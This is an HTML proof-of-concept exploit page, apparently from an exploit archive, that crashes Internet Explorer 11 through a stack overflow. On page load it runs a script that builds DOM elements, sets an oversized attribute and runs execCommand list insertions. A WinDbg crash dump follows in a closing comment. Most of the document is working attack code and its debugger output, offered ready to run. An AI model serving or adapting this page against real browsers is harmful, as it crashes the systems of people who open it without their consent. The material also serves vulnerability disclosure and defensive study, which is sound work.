<!--
# Exploit title: Microsoft Internet Explorer 11 Stack Underflow Crash PoC
# Date: 09.11.2015
# Vulnerable version: 11 (32bit version)(newest at the time 11.0.9600.17843 and 11.0.10240.16431)
# Tested on: Windows 7 64bit and Windows 10(10240) 64bit
# Author: Mjx
# http://http://jinxin.pen.io/
-->
<!doctype html>
<html>
<head>
<meta http-equiv='Cache-Control' content='no-cache'/>
<title>crash IE 11</title>
<style></style>
<script type='text/javascript' ></script>
<script>
function crash()
{
var id_0 = null;
id_0 = document.createElement( 'THEAD' );
document.body.appendChild( id_0 );
elemTree = [];
elemTree[0]= document.createElement('SELECT');
document.all[7].appendChild(elemTree[0]);
elemTree[1]= document.createElement('B');
document.all[8].appendChild(elemTree[1]);
elemTree[2]= document.createElement('SOURCE');
document.all[0].appendChild(elemTree[2]);
elemTree[3]= document.createElement('HR');
document.all[8].appendChild(elemTree[3]);
elemTree[3].setAttribute('hidden', -4400000000);
elemTree[4]= document.createElement('SELECT');
document.all[9].appendChild(elemTree[4]);
elemTree[5]= document.createElement('RUBY');
document.all[2].appendChild(elemTree[5]);
elemTree[6]= document.createElement('OL');
document.all[4].appendChild(elemTree[6]);
elemTree[7]= document.createElement('AREA');
document.all[6].appendChild(elemTree[7]);
elemTree[8]= document.createElement('ARTICLE');
document.all[3].appendChild(elemTree[8]);
elemTree[9]= document.createElement('TEXTAREA');
document.all[1].appendChild(elemTree[9]);
txtRange = document.body.createTextRange();
txtRange.moveEnd('character', 14);
txtRange.select();
txtRange.execCommand('insertUnorderedList',true,null);
txtRange = document.body.createTextRange();
txtRange.moveEnd('sentence', 4);
txtRange.select();
txtRange.execCommand('insertOrderedList',true,null);
}
</script>
</head>
<body onload='crash();'>
</body>
</html>
<!--
(1428.1230): Stack overflow - code c00000fd (!!! second chance !!!)
eax=00000004 ebx=000f0000 ecx=09ab319c edx=00000004 esi=47ce6fd8 edi=00000000
eip=5fd166d9 esp=09ab3000 ebp=09ab3004 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
verifier!AVrfpDphAllocateVm+0x9:
5fd166d9 50 push eax
0:008> kb
ChildEBP RetAddr Args to Child
09ab3004 5fd16800 09ab319c 09ab31a0 00001000 verifier!AVrfpDphAllocateVm+0x9
09ab3184 5fd16a8d 09ab319c 09ab31a0 00000004 verifier!DphCommitMemoryForPageHeap+0xf0
09ab31ac 5fd18e5d 000f1000 47de0068 00000000 verifier!AVrfpDphSetProtectionsBeforeUse+0x8d
09ab31dc 77cf0d96 000f0000 01000002 00000028 verifier!AVrfDebugPageHeapAllocate+0x1fd
0:008> r
eax=00000004 ebx=000f0000 ecx=09ab319c edx=00000004 esi=47ce6fd8 edi=00000000
eip=5fd166d9 esp=09ab3000 ebp=09ab3004 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
verifier!AVrfpDphAllocateVm+0x9:
5fd166d9 50 push eax
0:008> !vprot esp-4
BaseAddress: 09ab2000
AllocationBase: 09ab0000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 001fe000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
-->